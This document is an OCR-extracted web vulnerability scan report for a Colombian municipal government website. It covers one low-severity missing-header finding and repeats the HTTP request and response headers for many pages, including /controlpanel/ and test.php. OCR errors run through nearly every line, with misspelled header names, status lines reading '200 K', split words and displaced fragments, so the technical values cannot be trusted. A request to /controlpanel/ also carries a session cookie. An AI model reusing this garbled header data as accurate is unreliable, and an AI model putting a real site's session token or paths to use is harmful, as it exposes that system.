[ web/ ?p=18365>; rel =shortlink
X- TEC- API - VERSI O\ v1

“Not - A. Brand"; v="99"

rel ="https://api.w org/",
type="application/json",

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

Web Application Scanning Detailed Scan Export:
SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/
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Missing 'X-Content-Type-Options' Header

VULNERABILITY PLUGIN ID 112529
Description

The HTTP 'X-Content-Type-Options' response header prevents the browser from MIME-sniffing a response away from the
declared content-type.

The server did not return a correct 'X-Content-Type-Options'header, which means that this website could be at risk of a Cross-
Site Scripting (XSS) attack.

Solution

Configure your web server to include an 'X-Content-Type-Options' header with a value of 'nosniff".

See Also
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#xcto

Plugin Details
PUBLICATION DATE 2018-11-28T00:00:00+00:00
MODIFICATION DATE 2024-03-25T00:00:00+00:00
FAMILY HTTP Security Header
SEVERITY Low
PLUGIN ID 112529
Risk Information
CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE 3.1
CVSSV3 VECTOR CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I1:N/A:N
CVSS BASE SCORE 2.6
CVSS VECTOR CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N

Reference Information

CWE 693

WASC Application Misconfiguration

OWASP 2017-A8, 2013-A5, 2010-A6, 2023-API8, 2019-API7
CVE -

BID =
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https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
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Missing 'X-Content-Type-Options' Header Instances (25)

VULNERABILITY PLUGIN ID 112529

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/
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REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i mpuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:17:33 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/wp/ v2/ posts/4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 07:08: 06 GVII
Cont ent - Type: text/htm; charset=UTF-8

Web Application Scanning Detailed Scan Export:
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Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[ wp-j son/ wp/ v2/ post s/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=22424>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ >; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification
OUTPUT

Web Application Scanning Detailed Scan Export:
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The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application

response

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ test. php

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM.,
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobile: 20

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:22:54 GVl
Content-Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/directorio/

Identification
OUTPUT

l'i ke Gecko) Chrome/124.0.6367.207 Safari/537.36
"Not - A. Brand"; v="99"

The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application

response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ directori o/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/
Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sanme-origin

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM.,
Sec- Ch-Ua: "Chrom unit;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:46:26 GVl

Web Application Scanning Detailed Scan Export:
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Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:45:09 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 49>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification
OUTPUT

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/alcaldia/
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The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt er no-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 05:37:32 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 616>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=616>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/v1l/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Identification

OUTPUT
The scanner detected the |lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ 1 os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

Web Application Scanning Detailed Scan Export:
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RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:21:39 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22400>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET /control panel / HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy?2Bt J9%2c4b043945560f da9514b19964b4b5be4?2

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 01:57:07 GMVI
Cont ent - Type: text/htm
Transfer - Encodi ng: chunked
Connection: keep-alive

Vary: Accept - Encodi ng

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/17/1os-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-
cultura-en-chia/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/controlpanel/
https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/
https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ | os- sal ones- de- art es- pl asti cas-abren-sus-puertas-para-el-arte-y-
cul tura-en-chia/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:35:13 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[ wp-j son/ wp/ v2/ post s/ 22370>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22370>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/participa/

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 03:39:13 GMVI

Content - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEG- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/cache/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:08:25 GVI

Cont ent - Type: text/htn

Cont ent-Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMVI
Accept - Ranges: bytes

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/cache/
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:58:37 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-
chia-y-personerias-juridicas/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ tranite-para-solicitar-certificados-de-residencia-en-el-territorio-
de- chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: " Chrom unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/
https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:04:12 GV

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=7526>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:41:55 GVI

Cont ent - Type: text/htm

Content-Length: 31

Connection: keep-alive

Last-Modi fied: Sun, 11 Dec 2016 21:51:10 GMI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-
factura-de-los-impuestos-predial-e-ica/

Identification
OUTPUT

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/images/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/

The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-I|os-inpuestos-predial-e-ical/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 06:04:16 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

